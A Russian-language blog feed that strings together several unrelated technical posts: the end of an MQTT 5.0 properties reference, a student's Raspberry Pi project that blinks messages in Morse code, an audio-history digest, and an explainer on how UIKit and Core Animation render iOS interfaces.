11 SubscriptionIdentifier VariableByteInteger PUBLISH, SUBSCRIBE
17 SessionExpiryInterval FourByteInteger CONNECT, CONNACK, DISCONNECT
18 AssignedClientIdentifier UTF-8Encoded String CONNACK
19 ServerKeepAlive TwoByteInteger CONNACK
21 AuthenticationMethod UTF-8Encoded String CONNECT, CONNACK, AUTH
22 AuthenticationData BinaryData CONNECT, CONNACK, AUTH
23 RequestProblem Information Byte CONNECT
24 WillDelayInterval FourByteInteger WillProperties
25 RequestResponse Information Byte CONNECT
26 ResponseInformation UTF-8Encoded String CONNACK
28 ServerReference UTF-8Encoded String CONNACK, DISCONNECT
31 ReasonString UTF-8Encoded String CONNACK, PUBACK, PUBREC, PUBREL, PUBCOMP, SUBACK, UNSUBACK, DISCONNECT, AUTH
33 ReceiveMaximum TwoByteInteger CONNECT, CONNACK
34 TopicAliasMaximum TwoByteInteger CONNECT, CONNACK
35 TopicAlias TwoByteInteger PUBLISH
36 MaximumQoS Byte CONNACK
37 RetainAvailable Byte CONNACK
38 UserProperty UTF-8String Pair CONNECT, CONNACK, PUBLISH, Will Properties, PUBACK, PUBREC, PUBREL, PUBCOMP, SUBSCRIBE, SUBACK, UNSUBSCRIBE, UNSUBACK, DISCONNECT, AUTH
39 MaximumPacketSize FourByteInteger CONNECT, CONNACK
40 WildcardSubscription Available Byte CONNACK
41 SubscriptionIdentifier Available Byte CONNACK
42 SharedSubscription Available Byte CONNACK


Теперь давайте рассмотрим их поподробнее.


Payload Format Indicator индикатор формата полезной нагрузки


  • 0 данные являются набором неопределенных байт, что эквивалентно отсутствию отправки индикатора формата полезной нагрузки,
  • 1 данные представляет собой кодированные символьные данные UTF-8.


Message Expiry Interval интервал истечения сообщения


Число, представляющее интервал истечения срока действия сообщения (в секундах).

Если интервал истечения срока действия сообщения прошел и серверу не удалось доставить сообщение соответствующему абоненту, он должен удалить сообщение для этого абонента.


Content Type тип содержимого


Значение типа содержимого определяется отправляющим и получающим клиентом.


Response Topic топик для ответа


Строка UTF-8, которая используется в качестве топика для ответного сообщения.

Получатель сообщения с указанным топиком для ответа отправляет свой ответ, используя этот топик как топик своей публикации.

Взаимодействие запрос/ответ в этом случае происходит следующим образом (см. п. 4.10.1 в спецификации):

  1. Клиент (отправитель) публикует сообщение запроса с некоторым топиком, в котором указан топик для ответа.
  2. Другой клиент (получатель) предварительно подписывается на фильтр топиков, который соответствует имени топика, использовавшегося при публикации сообщения запроса. В результате он получает сообщение запроса. Может быть несколько клиентов, подписанных на этот топик или может не быть вовсе.
  3. Отвечающий клиент выполняет соответствующее действие на основе полученного сообщения, а затем публикует сообщение ответа с тем топиком, который был указан в свойстве с топиком ответа.
  4. При типичном использовании запрашивающая сторона предварительно подписывается на топик ответа и тем самым получает ответное сообщение. Однако какой-то другой клиент может быть подписан на топик ответа и в этом случае ответное сообщение также будет получено и обработано этим клиентом. Если при отправке ответного сообщения нет подписчиков на топик ответа, ответное сообщение не будет доставлено ни одному клиенту.


Correlation Data корреляционные данные


Данные корреляции используются отправителем сообщения запроса, чтобы определить, к какому запросу относится сообщение ответа, когда оно получено. Если данные корреляции отсутствуют, то запрашивающая сторона не требует никаких данных корреляции.

Если сообщение запроса содержит корреляционные данные, получатель должен также включить эти корреляционные данные в качестве свойства в пакет PUBLISH ответного сообщения.

Значение данных корреляции имеет значение только для отправителя сообщения запроса и получателя сообщения ответа.


Subscription Identifier идентификатор подписки


Число, представляющее идентификатор подписки.

Если публикация является результатом совпадения с более чем одной подпиской, будут указаны несколько идентификаторов подписки, в этом случае их порядок не имеет значения.

Клиент также может сделать несколько подписок, соответствующих данной публикации, и использовать один и тот же идентификатор для нескольких из них. В этом случае пакет PUBLISH будет содержать несколько идентичных идентификаторов подписки.

Идентификатор подписки связан с любой подпиской, созданной или измененной в результате пакета SUBSCRIBE. Если есть идентификатор подписки, он сохраняется вместе с подпиской. Если это свойство не указано, то отсутствие подписки сохраняется вместе с подпиской.

Идентификаторы подписки являются частью состояния сеанса на сервере и возвращаются клиенту, получающему соответствующий пакет PUBLISH. Они удаляются из состояния сеанса сервера, когда сервер получает пакет UNSUBSCRIBE, когда сервер получает пакет SUBSCRIBE от клиента для того же фильтра топиков, но с другим идентификатором подписки или без идентификатора подписки, или когда сервер отправляет Session Present равным 0 в пакете CONNACK.


Session Expiry Interval интервал истечения сеанса


Число, представляющее интервал истечения сеанса (в секундах).

Если интервал истечения сеанса отсутствует, используется значение 0. Если он установлен в 0 или отсутствует, сеанс заканчивается, когда сетевое соединение закрыто.

Если интервал истечения сеанса равен 0xFFFFFFFF (UINT_MAX), сеанс не истекает.

Клиент и сервер должны хранить состояние сеанса после закрытия сетевого соединения, если интервал истечения сеанса больше 0.

Клиент может подключаться к серверу через сеть, которая обеспечивает прерывистое соединение. Этот клиент может использовать короткий интервал истечения сеанса, чтобы он мог повторно подключиться, когда сеть снова станет доступной, и продолжить надежную доставку сообщений. Если клиент не успеет восстановить соединение, сообщения будут потеряны.

Установка Clean Start равной 1 и интервалом истечения сеанса 0 эквивалентна установке CleanSession равной 1 в спецификации спецификации MQTT версии 3.1.1. Установка Clean Start в 0 и отсутствие интервала истечения сеанса эквивалентна установке CleanSession в 0 в версии спецификации MQTT 3.1.1.


Assigned Client Identifier назначенный идентификатора клиента


Строка, которая является назначенным сервером идентификатором клиента. Используется, если в пакете CONNECT был использован идентификатор клиента нулевой длины.


Server Keep Alive Keep Alive сервера


Число, определяющее время Keep Alive, назначенное сервером. Если сервер возвращает Server Keep Alive в пакете CONNACK, клиент должен использовать это значение вместо значения, отправленного им в качестве Keep Alive. Если сервер не отправляет Server Keep Alive, он должен использовать значение Keep Alive, установленное клиентом в пакете CONNECT.

Основное использование Server Keep Alive для сервера проинформировать клиента о том, что он отключит клиента в случае неактивности раньше, чем наступит истечение времени Keep Alive, указанного клиентом.


Authentication Method метод аутентификации


Строка, содержащая название метода аутентификации, используемого для расширенной аутентификации.

Если метод аутентификации отсутствует, расширенная аутентификация не выполняется.

Метод аутентификации это соглашение между клиентом и сервером о значении данных, отправляемых в данных аутентификации и любых других полях в CONNECT, а также об обменах и обработке, необходимой клиенту и серверу для завершения аутентификации. Метод аутентификации обычно представляет собой механизм SASL.


Authentication Data данные аутентификации


Двоичные данные, содержащие данные аутентификации. Отправляются только если указан метод аутентификации. Содержимое этих данных определяется методом аутентификации.


Request Problem Information информация о проблеме запроса


Клиент использует это значение, чтобы указать, отправляется ли строка причины или пользовательские свойства в случае сбоев.

  • 0 сервер может вернуть строку причины или пользовательские свойства в пакете CONNACK или DISCONNECT, но не должен отправлять строку причины или пользовательские свойства в любом пакете, кроме PUBLISH, CONNACK или DISCONNECT,
  • 1 сервер может вернуть строку причины или пользовательские свойства для любого пакета, где это разрешено.


Will Delay Interval интервал задержки Will Message


Число, представляющее интервал задержки Will Message (в секундах). Если интервал задержки отсутствует, значение по умолчанию равно 0 и перед публикацией Will Message задержки нет.

Сервер задерживает публикацию сообщения до тех пор, пока не истечет интервал задержки или не завершится сеанс, в зависимости от того, что произойдет раньше. Если новое сетевое соединение с этим сеансом установлено до того, как истечет интервал задержки, сервер не должен отправлять Will Message.

Одним из способов использования этого является предотвращение публикации Will Message, если существует временное отключение от сети и клиенту удается повторно подключиться и продолжить сеанс до публикации сообщения.


Request Response Information запрос информации для ответа


Байт со значением 0 или 1. Клиент использует это значение, чтобы запросить у сервера информацию ответа в CONNACK.

  • 0 сервер не должен возвращать информацию ответа,
  • 1 сервер может вернуть информацию ответа в пакете CONNACK, но это не обязательно, даже если клиент запросил эту информацию.


Response Information информация для ответа


Строка UTF-8, которая используется в качестве базы для создания Response Topic. Способ, которым клиент создает Response Topic из информации ответа, не определен этой спецификацией.

Обычно это используется для передачи уникальной в глобальном масштабе части топиков, которая зарезервирована для этого клиента, по крайней мере, на время жизни его сеанса. Использование этого механизма позволяет выполнить эту настройку один раз на сервере, а не на каждом клиенте.


Server Reference ссылка на сервер


Строка, которая может использоваться клиентом для идентификации другого используемого сервера. Значение этой строки представляет собой список ссылок, разделенных пробелами. Формат ссылок не регламентирован.

Сервер может запросить, чтобы клиент использовал другой сервер, отправив CONNACK или DISCONNECT с кодом причины Использовать другой сервер или Сервер перемещен. При отправке одного из этих кодов, сервер может также включать свойство ссылки на сервер, чтобы указать местоположение сервера или серверов, которые клиент должен использовать.
  • Использовать другой сервер клиент должен временно переключиться на использование другого сервера.
  • Сервер перемещен клиент должен всегда подключаться к другому серверу.


Рекомендуется, чтобы каждая ссылка состояла из имени, за которым следуют двоеточие и номер порта. Если имя содержит двоеточие, строка имени может быть заключена в квадратные скобки. Имя, заключенное в квадратные скобки, не может содержать символ правой квадратной скобки (]). Это используется для представления адреса IPv6, который использует в качестве разделителя двоеточия.

Имя в ссылке на сервер обычно представляет собой имя хоста, DNS-имя, SRV-имя или IP-адрес. Значение после двоеточия обычно представляет собой номер порта в десятичном виде. Это не требуется, если информация о порте берется из имени (например, для SRV) или используется по умолчанию.

Если дано несколько ссылок, ожидается, что клиент выберет одну из них.

Примеры
myserver.xyz.org
myserver.xyz.org:8883
10.10.151.22:8883 [fe80::9610:3eff:fe1c]:1883


Reason String строка причины


Строка, описывающая причину, связанную с этим ответом. Сервер использует это значение для предоставления дополнительной информации клиенту.

Правильное использование строки причины в клиенте будет включать использование этой информации в исключении, генерируемом кодом клиента, или запись этой строки в журнал.


Receive Maximum максимальное значение количества пакетов QOS>0


Число, устанавливающее квоту отправки, которая используется для ограничения количества пакетов PUBLISH QOS> 0, которые могут быть отправлены без получения PUBACK (для QoS 1) или PUBCOMP (для QoS 2). То есть это значение используется для ограничения количества публикаций QoS 1 и QoS 2, отправляемых одновременно. Клиент/сервер не должны отправлять сообщения с QoS 1 и QoS 2, если есть отправленные сообщения количества Receive Maximum, на которые еще не получены ответы. При достижении Receive Maximum отправку пакетов с QoS 0 также можно приостановить, но не обязательно. При этом задерживать отправку пакетов, отличных от PUBLISH, не требуется.

Если и клиент, и сервер установили Receive Maximum равным 1, они удостоверяются, что не будет более одного сообщения в полете одновременно.

Указанное значение применяется только к текущему сетевому соединению и инициализируется повторно при переподключении.

Если значение не указано, то по умолчанию оно равно 65 535.


Topic Alias Maximum максимальное значение псевдонима топика


Число, представляющее максимальное значение псевдонима топика.

Это значение указывает самое большое значение, которое принимается в качестве псевдонима топика. Оно используется, чтобы ограничить количество псевдонимов топиков, которые необходимо хранить в этом соединении.


Topic Alias псевдоним топика


Чтобы уменьшить размер пакета PUBLISH, отправитель может использовать псевдоним топика. Это целочисленное значение, которое используется для идентификации топика вместо использования имени топика. Такой способ уменьшает размер пакета PUBLISH и полезен, когда имена топиков длинные и одни и те же имена часто используются повторно в сетевом соединении.

На стороне получателя при получении псевдонима для топика устанавливается необходимое соответствие между топиком и его псевдонимом.

Если пакет PUBLISH содержит псевдоним топика, получатель обрабатывает его следующим образом (см. п. 3.3.4 в спецификации):

  1. Если получатель уже установил сопоставление для псевдонима топика, то
    a) Если пакет имеет топик нулевой длины, получатель обрабатывает его, используя имя топика, которое соответствует псевдониму топика
    b) Если пакет содержит топик ненулевой длины, получатель обрабатывает пакет, используя это имя топика, и обновляет свое отображение для псевдонима топика на имя топика из входящего пакета.
  2. Если у получателя еще нет сопоставления для этого псевдонима, то
    a) Если пакет имеет топик нулевой длины, это ошибка протокола
    b) Если пакет содержит топик с ненулевой длиной, получатель обрабатывает пакет с использованием этого имени топика и устанавливает его сопоставления для псевдонима топика с именем топика из входящего пакета.


Maximum QoS максимальный QoS


Принимает значение 0 или 1. Если максимальное QoS отсутствует, клиент использует максимальное QoS 2.

Если сервер не поддерживает пакеты PUBLISH QoS 1 или QoS 2, он должен отправить максимальное QoS в пакете CONNACK, указав самое высокое QoS, которое он поддерживает.

Если Клиент получает максимальное QoS от Сервера, он не должен отправлять пакеты PUBLISH с уровнем QoS, превышающим указанный максимум.


Retain Available доступно сохранение


  • 0 сохраненные сообщения не поддерживаются,
  • 1 сохраненные сообщения поддерживаются.

Клиент, получающий значение Retain Available с сервера равное 0, не должен отправлять пакет PUBLISH с флагом RETAIN, установленным на 1.


User Property cвойство пользователя


Представляет собой строковую пару имя-значение. Это свойство, в отличие от других, может появляться несколько раз. Одно и то же имя может использоваться для нескольких свойств.

Это свойство может использоваться для предоставления дополнительной диагностической или другой информации.

Значение этих свойств не определено в спецификации, их значение и интерпретация известны только отправляющим и получающим клиентам.


Maximum Packet Size максимальный размер пакета


Число, определяющее максимальный размер пакета, который клиент/сервер готов принять. Размер пакета это общее количество байтов в пакете MQTT. Это свойство используется, чтобы сообщить о том, что пакеты, превышающие это ограничение, не будут обрабатываться.

Если максимальный размер пакета отсутствует, ограничение размера пакета не накладывается.

Приложение несет ответственность за выбор подходящего значения максимального размера пакета, если оно решает ограничить размер пакета.


Wildcard Subscription Available доступна подписка с подстановочными знаками


  • 0 подписки с подстановочными знаками не поддерживаются,
  • 1 такие подписки поддерживаются.

Если свойство отсутствует, то подписки с подстановочными знаками поддерживаются.

Если сервер поддерживает подписки с подстановочными знаками, он все равно может отклонить определенный запрос на подписку, содержащий подписку с подстановочными знаками.


Subscription Identifier Available доступен идентификатор подписки


  • 0 идентификаторы подписки не поддерживаются,
  • 1 идентификаторы подписки поддерживаются.

Если свойство отсутствует, то идентификаторы подписки поддерживаются.


Shared Subscription Available доступна общая подписка


  • 0 общие подписки не поддерживаются,
  • 1 общие подписки поддерживаются.

Если свойство отсутствует, то общие подписки поддерживаются.

Заключение


Напомню, что статья родилась при работе над встраиванием появившейся функциональности, описанной выше, в сервис платформы Интернета вещей. Также мне показалось, что довольно удобно вывести отображение полученных от клиента свойств в интерфейс объекта (подробнее про объекты можно почитать тут >>>). Можно скрывать неинтересные свойства, можно добавлять отображение дополнительных пользовательских свойств. В общем виде это выглядит так.




Вот, пожалуй, и всё. Для тестирования функциональности мне показался довольно удобным и наглядным вот этот проект redboltz/mqtt_cpp.

Буду очень рада, если в комментариях вы поделитесь другими open-source проектами MQTT-клиентов (как с GUI, так и без него), поддерживающих версию 5.0.
Подробнее..

Из песочницы Raspberry pi amp Азбука Морзе

26.09.2020 22:13:23 | Автор: admin

Парусник NaN сигналит SOS (See Our Success) Raspberry Pi, азбука Морзе и MQTT: вместе веселее


Меня зовут Вова Балакин, я из московской школы на Юго-Востоке имени Маршала В.И.Чуйкова (классов Силаэдр: vk.com/silaedr), закончил 5 класс, интересуюсь программированием и техникой. Я хочу рассказать, что я делал этой весной. У меня был парусник, он назывался Not a Number(NaN). Выходить в море без сигнализации опасно, поэтому я подумал, что ему на мачте не хватает сигнальных огней. А лучше сигнальных огней, которыми можно управлять удаленно. А лучше удаленно из любой точки мира! У меня был Raspberry Pi и тогда я придумал



Чего мне захотелось (Постановка задачи)


что можно прикрепить к мачте светодиод, соединить его с Raspberry Pi и запрограммировать так, чтобы из Интернета было возможно отсылать паруснику любое сообщение и оно переводилось в код Морзе и диод на мачте мигал в соответствии с этим кодом. И на ту же мачту закрепить фоторезистор декодер кода Морзе, чтобы другой компьютер в Интернете мог получить переданный код.

Что у меня вышло (Результат)


После двух месяцев проб и ошибок у меня получилось написать программу, которая через MQTT-брокер(http://personeltest.ru/away/www.hivemq.com/demos/websocket-client/) позволяет любому человеку в Интернете, знающему Topic секретный ключ для передачи сообщения клиенту, отправить абсолютно любое сообщение написанное латиницей и светодиод на мачте моего промигает его азбукой Морзе!


Вот в целом как это работает: мы пишем сообщение и отправляем его MQTT-серверу, а он в свою очередь отправляет его на Raspberry pi, который переводит его в код Морзе и подмигивает светодиодом в соответствии с кодом.

Вот код на Node.js на гитхабе.

Как мне пришлось помучиться (Инструменты и методы)


Сначала я писал на Python3. Но подключить питон к MQTT у меня не получилось не нашел нужной документации и я перешёл на платформу Node.js.

Кроме того, на протяжении суток я пытался сделать дешифратор световых сигналов азбуки Морзе (с помощью фоторезистора) и установить его на ту же мачту того же парусника, но это не вышло, потому что фоторезистор (по крайней мере, тот, что был у меня) не способен различить свет даже от 5 светодиодов (разница напряжений при включенных и выключенных светодиодах была слишком мала).

Полезные советы тем, кто будет делать что-то подобное (Обсуждение).

Пишите сразу на Node.js, если хотите связывать потом код с MQTT. Законнектить Python с MQTT задача не из легких.

Что сделано человечеством (Литобзор)


Перед тем, как начать, я погуглил, как такое сделать. Все части этого проекта по отдельности в Интернете описаны, всё вместе не нашел.


Благодарю за ценные замечания и крутые советы моих учителей робототехники и информатики и старшеклассников моей школы!
Подробнее..

Передача игр по радио, звуки старых ПК и компактная история рингтонов в дайджесте Аудиомании

27.09.2020 00:06:12 | Автор: admin
В прошлый раз мы поделились настоящим хабрасериалом об истории аудиотехники и музыкальной индустрии. Сегодня продолжим снабжать читальный зал избранными статьями о том, как задумки технологических энтузиастов меняли и продолжают преобразовывать мир к лучшему.

Еще поделимся рекомендациями о том, как выспаться перед началом рабочей недели.


Фото Will Francis / Unsplash




Софт и видеоигры впервые попали в прямой радиоэфир в Бристоле. Это случилось в 80-е, когда сотрудники станции запустили новую передачу по теме персональных компьютеров.

Руководство одобрило им экспериментальную трансляцию данных по воздуху. Начали с изображения 40х80, а потом стали передавать микропрограммы для Sinclair ZX81 и Commodore.

К движению присоединилась Голландская вещательная ассоциация (пробовали транслировать игры). Позже появились югославские варианты подобных шоу, раздавшие аудитории десятки различных программ всего за несколько лет эфирного присутствия. Вот такой был радийный open source.




Вспоминаем легендарные MIDI-мелодии, которые пришли к нам из Японии во второй половине 90-х. К тому моменту там уже распродали три с половиной миллиона книг с инструкциями о том, как самостоятельно писать рингтоны. А еще появились специализированные языки SYNC и RTTTL.

Реалтоны, рингтоны по SMS, реклама вот этого всего в газетах и на ТВ, а потом и мощнейшее влияние мобильных мелодий на то, как менялась популярная музыка в начале 2000-х годов.

В общем, если вы скачивали на свое устройство Crazy Frog, точно будет, о чем вспомнить.


Фото Tobias Tullius / Unsplash




Заниматься историей технологий можно по-разному. Так, ряд энтузиастов собирает тематические аудиобиблиотеки что-то вроде акустического наследия для гиков и всех интересующихся.

Одни берут за основу системные звуки популярных ОС, другие записывают звучание старого железа. Третьи не церемонятся и коллекционируют все подряд: шум фена, жужжание кофемолки, шуршание перфоленты или даже звон обыкновенного бидона (да, загружают и такое).




Библиотеки винтажных звуков, о которых мы рассказали в материале выше, могут быть интересны шумовикам. Они подбирают и сводят все, что нужно для звукового оформления сериалов и кино. Это могут быть и кастомные звуки, полученные путем комбинирования нескольких простых.

Но и эту работу пытаются автоматизировать. Обсуждаем, что уже могут системы ИИ, с точки зрения генерации звукоряда для видео на лету. Спойлер: пока получается так себе.




Фото Dane Deaner / Unsplash


Новостная повестка не дает ни одного повода, чтобы взять и перестать следить за бесконечными эпидемиологическими отчетами и исследованиями. Но в результате мы все чаще испытываем беспокойство, а многие уже сталкиваются с нарушениями сна на регулярной основе.

Обсуждаем, как могут помочь низкочастотные волны, белый шум, ASMR-контент и музыка. Хотя для начала достаточно всего лишь обратить внимание на свою информационную диету.



Дополнительные материалы у нас на Хабре:

Кто пытался поделиться музыкой с внеземными цивилизациями
Русскоязычный подкаст о домашних кинозалах, вишлисте аудиомана и звукоцехе
Дипфейки, реверс-инжиниринг, муз. программирование и аудиоинтерфейсы за рулем


Подробнее..

Bryce кто и сколько полетит к Луне в 20-е годы. Прогноз

27.09.2020 02:04:55 | Автор: admin

Вячеслав Ермолин 26 сентября 2020 года

На портале Bryceопубликован прогноз(инфографика) о космической деятельности на ближайшие 10 лет. Прогноз по трем категориям: пилотируемые программы на орбите земли (модули ОС, пилотируемые и грузовые миссии), полеты на Луну (беспилотные и пилотируемые), полеты на Марс (беспилотные).

По данным Bryce cделал отдельно инфографику по каждому направлению.
Первая пилотируемые миссии на орбиту Земли:
Вторая пилотируемые, грузовые и научные миссии к Луне:

Лунная программа в предстоящие десять лет включает всех космических игроков. Но этоамериканское десятилетие Луны грандиозная программа создания базы постоянного присутствия людей (американцев) на орбите и поверхности Луны.

Восемь пилотируемых экспедиций на орбиту и поверхность Луны, Строительство лунной орбитальной станции. Десятки грузовых и научных аппаратов, модули лунной базы. 72 миссии за десять лет, 32 астронавта достигших орбиты Луны, 14 высадившихся на поверхность.

Американская программа исследования и освоения Луны реализуется в рамках программы Артемида президента Трампа высадка на поверхность Луны в 2024 году, впервые с 72-го года, еще одного американского мужчины и первой женщины. Пилотируемые полеты на новых кораблях Orion. Грузовые миссии на новых грузовых кораблях SpaceX. Строительство Gateway. Строительство лунной базы из стационарного и мобильного модуля.

Пять беспилотных научных миссий к Луне. Три полета пилотируемого корабля с высадкой на поверхность в 2029 году.

Русская лунная программа ставит целью первую высадку космонавтов на поверхность Луны. Пилотируемый корабль Орел. Неизвестный посадочный модуль. Неизвестный состав и программа полета.

Четыре научные миссии с беспилотными аппаратами. Подготовка к пилотируемым полетам.

Одиннадцать миссий других стран и частных компаний. Научные аппараты около Луны и на ее поверхности, в том числе луноходы. Пилотируемый облет Луны сборной команды астронавтов и туристов на корабле Starship от компании SpaceX.

Выводы:

Оценка Brуce опирается на известные данные программы Artemis. А также программы и заявления других стран различной степени детализации и достоверности. В отличии от пилотируемых полетов к МКС достоверность прогноза низкая.

Никакой лунной гонки нет. Есть одна большая, дорогая и интересная лунная программа США. На реализацию которой выделены большие деньги и поставлены цели для промышленности и науки.

Русская лунная программа является пока концептом. Нет конкретных технических и организационных решений.

Китайская лунная программа покрыта тайной. Есть данные о научных лунных аппаратах, которые в основном повторяют лунные программы США и СССР 70-х годов. Однако строительство и испытания нового тяжелого пилотируемого корабля однозначно говорит о лунных амбициях Китая.

Лунная гонка возможна только в урезанном формате кто будет второй на Луне. Есть пока только два претендента Китай и Россия.

Замечание:

  1. Оценка Bryce опирается на график программы Artemis. Сроки реализации и объем программы могут быть скорректированы. Установка конкретного срока высадки американцев в 24-м году требует напряженной и быстрой работы. С некоторой вероятностью эти сроки будут перенесены на конец десятилетия.

  2. Российская лунная программа пока выглядит типичным флаговтыком демонстрации возможностей и установкой приоритета.

  3. Все остальные страны демонстрируют свои возможности в исследовании Луны повторяя чужие достижения. С большой вероятностью большинство лунных миссий будут встроены в американскую программу Artemis.

    Ссылкана первую часть пилотируемые полеты
    Ссылкана отчеты Bryce
    Hiresинфографики

    Оригинальная инфографика Bryce.
    Инфографика программы Artemis.

Подробнее..

Устройство UI в iOS

26.09.2020 20:04:42 | Автор: admin

Всем все еще 404, сегодня мы ныряем в наш всеми любимый U, а если быть точнее в Фреймворк UIKit. Кратко, UIKit - UI фреймворк позволяющий облегчить для разработчиков процесс создания интерфейса для взаимодействия с пользователем.Но несмотря на то, что UIKit содержит в себе огромное кол-во функциональности, его размер исчисляется в десятках килобайт. Причиной тому является факт, что UIKit в современном iOS это по сутиumbrella header, предоставляющий единую точку импорта.

Ввод, как он есть.

UIKit содержит в себе все необходимые компоненты для предоставления доступа к девайсам, через которые пользователь общается с вашим приложением. Это и акселероментры, и хардварные кнопки, внешние клавиатуры, специальные устройства ввода для людей с ограниченными способностями, мыши и карандаши (Apple Pencil).

Не стоит забывать, что помимо перечисленных выше устройстов ввода, UIKit получает и обрабатывает массу информации от системы, начиная с низкоуровневых событий жизненного цикла приложения и memory warnings, заканчивая Push-уведомлениями уровнем повыше.

Для того чтобы эффективно обслуживать такое большое количество входящих источников событий UIKit'у нужен Event Loop, который мы привыкли называтьRunLoop. Тут UIKit вводит понятие главного потока, последовательного обслуживающего входящие источники и наш код. Принято считать, что главный поток это что-то неотъемлемое, что есть у приложения, но на самом деле это абстракция, которую вводит и предоставляет именно UIKit.

Может показаться, что знание RunLoop'а это что-то хардкорное и вовсе не нужное обычным разработчикам знание, но это не так. Понимание того, как UIKit обслуживает входящие события и открисовку UI важно для некоторых оптимизаций. Например, довольно частой задачей может быть добавление таймера для некоторых целей. Опытные разработчики могли встречаться таким эффектом, что таймер работает корректно и отсчитывает время до тех пор, пока пользователь не начинит скролить таблицу. В этот момент таймер просто перестаёт работать. Дело тут вовсе не в нехватке ресурсов девайса, а в том, что все таймеры обслуживаются RunLoop'ом, который в момент скрола переводится UIKit'ом в режимUI Tracking Mode. В этом режиме он отдает приоритет отрисовке UI, оставляя в очереди события из некоторых источников.

Но как там с выводом, то?

Нам доступен экран и Haptic. Следуя определению UI фреймворка можно было бы возразить, что пользователь может взаимодействовать с приложением и с помощью звука, и было бы логично отнести эту часть взаимодействия тоже в UIKit. Но в силу сложности работы с аудио, разработчики Apple выделили это в отдельный фреймворк Core Audio.

Основную часть времени работы над пользовательским интерфейсом разработчик, так или иначе тратит на графический интерфейс. Работая с графикой в iOS, как и на большинстве других платформ, мы имеем дело 2D пространством и прямоугольниками, которые как-то комбинируются и располагаются на экране. Сама абстракция прямоугольных областей очень удобна: с одной стороны это очень понятная схема для разработчиков, с другой стороны, очень понятная хардварной части и GPU. Работая с такими прямоугольниками перед разработчиком всегда стоит две задачи:расположитьэти элементы на экране инарисоватьих.

Сказал А, говори Layout.

Для решения первой задачи UIKit использует тривиальную и очень удобную структуру данных дерево. Ни для кого не секрет, что view'шки можно организовывать в иерархию, бесконечно добавляя subview для subview. В конечном мы будем иметь дело с обычным деревом. Его легко и просто обходить, а использование такой структуры нам дает классную возможность верстать относительно, указывая значения координат родительского элемента, а не абсолютное значение на экране.

Здесь можно возразить и сказать, что мы уже давно не верстаем на фреймах, а используем autolayout или 3rd-party библиотеки для верстки. С этим трудно не согласиться, но все системы верстки для iOS сводятся к одному в конечном итоге они проставляют фреймы, разница только в томкогда они их считаютив какой момент присваиваютэлементам.

Помимо ручного расчета абсолютных величин для фреймов или использования autolayout для версткисуществует еще и третий встроенный в iOS метод верстки. Если спуститься на уровень ниже от UIView касаемо отрисовки элементов, мы попадем на слой Core Animation, который позволяет c помощью свойстваanchorPointспозиционировать элементы используя относительные координаты и указывать позицию элемента в процентах от родительской.

Расположили. Теперь порисуем.

Расположить прямоугольники в нужном порядке и в нужном месте только половина дела. Теперь в них нужно еще и что-то нарисовать. Для решения этой задачи Apple разработала целый фреймворк, первоначально назвав егоLayerKit, а после переименовала вCore Animation.

НазваниеCore Animationчасто вводит в заблуждение многие думают что этот фреймворк исключительно для создания анимаций, но это не так. Дело в том, что он ответственный вообще за любое отображение всего и вся на экране устройства, но спроектирован таким образом, что по-умолчанию любые изменения пытается анимировать. В отличии от большинства других, где нужно писать дополнительный код чтобы сделать что-то анимировано, в Core Animation нужно писать код, чтобы изменения прошли без анимации.

Core Animation предоставляет абстракцию, называемую слои. Почти любая UIView содержит в себе слой CALayer, который используется для отрисовки графического интерфейса. Слои, как и view, организуются в иерархию. Тут следует уточнить: несмотря на то, что принято считать именно UIView строительным кирпичиком UI, она по сути является фасадом для CALayer. При добавлении дочерней view, под капотом происходит добавление дочернего слоя на родительский. Все измененияframe,bounds,center,backgroundColorи многих прочих просто проксируются в CALayer.

Таким образом UIView разделяет отвественности: иерархия UIView ответственна за User Interaction, а иерархия CALayer за графическое представление.

Core Animation используется не только на iOS с UIKit дляUIView, но и на macOS с AppKit с еёNSView. В macOS система коодинат отличается от iOS: начало ее коодинат нижний левый угол, против верхнего левого в iOS. Для кросплатформенной работы Core Animation Apple предоставляет свойствоgeometryFlippedу CALayer. Система коодинат macOS является системой по умолчанию, а UIKit проставляетgeometryFlipped = trueвсем слоям при создании. Но возможны случае, когда созданому слою нужно будет указать значение этого свойства вручную, например, при добавлении слоёв на слой с видеоплеером.

Как уже говорилось ранее, Core Animation вводит понятие слоёв, из которых можно собрать визуальное представление программы. Самый базовый класс, CALayer позволяет только закрасить себя каким-то цветом или отобразить CoreGraphics контент. Для решения более сложных задач существуют специализированные слои, такие какCAShapeLayer,CATextLayer,CAGradientLayerи другие. Эти типы слоёв позволяют решить ту или иную задачу эффективным способом, проводя рисование на GPU.

Тут стоит прояснить разницу между использованием специализированных слоёв и рисованием произвольной графики, используя метод UIViewdraw(in:). Как уже было сказано ранее, специализированные слои позволяют отрисовать контент оптимизированным способом на GPU, в то время как используяdraw(in:)разработчик будет прибегать к рисованию с помощьюCoreGraphics, который работает на CPU. Такой подход может приводить к фризам UI. Конечно, CoreGraphics можно пользоваться не из главного потока (не забывая то, что он не потокобезопасный), но стоит всегда помнить что он загружает CPU.

Осталось самое сладкое - анимации

Какие бы задачи разработчики не решал с помощью CoreAnimation, он неизбежно касается вопроса анимаций: если задать какое-либо свойство CALayer (или его специализированных наследников) и это свойство окажется анимируемым, то изменения получиться увидеть только во времени.

Неявное становится явным

Так происходит, потому что CoreAnimation запускает неявные анимации, делая это автоматически, без каких-либо усилий разработчика. Чтобы понять почему так происходит, нужно сначала рассказать про CATransaction. CATransaction это контейнер, который инкапсулирует группу анимаций, управляет их длительностью и таймингом. UIKit создает корневой CATransaction в начале каждого вращения RunLoop'а, а в конце отправляет его на рендер. Именно по этому, любое изменение свойств слоёв упаковано в анимацию. Довольно часто стандартная анимация может не подходить разработчику, в том случае можно создать свой CATransaction, настроить скорость и указать тайминг функцию.

Описанная логика работы CALayer идет вразрез факту о том, что UIView является всего-лишь прокси для слоя. Ведь при измененииframeу UIView его положение и размер меняются мгновенно, не анимированно, а по логике должно перекинуться на слой и тот должен санимироваться. Тут дело в том, что корневой слой UIView ссылается на этот view как на делегата. И при любом изменении свойства, слой спрашивает нужно ли ему анимировать это свойство, вызывая метод делегатаaction(for:forKey:) View будет отвечать nil'ом на все изменения, выполняемые не в блоке анимацииUIView.animate(...), таким образом блокируя анимации при простановки различных свойств.

Если у слоя нет делегата, то он обратиться за анимацией к собственному словарюactions, в котором предустановлены стандартные анимации со стандартными длительностями и тайминг-функциями для различных свойств.

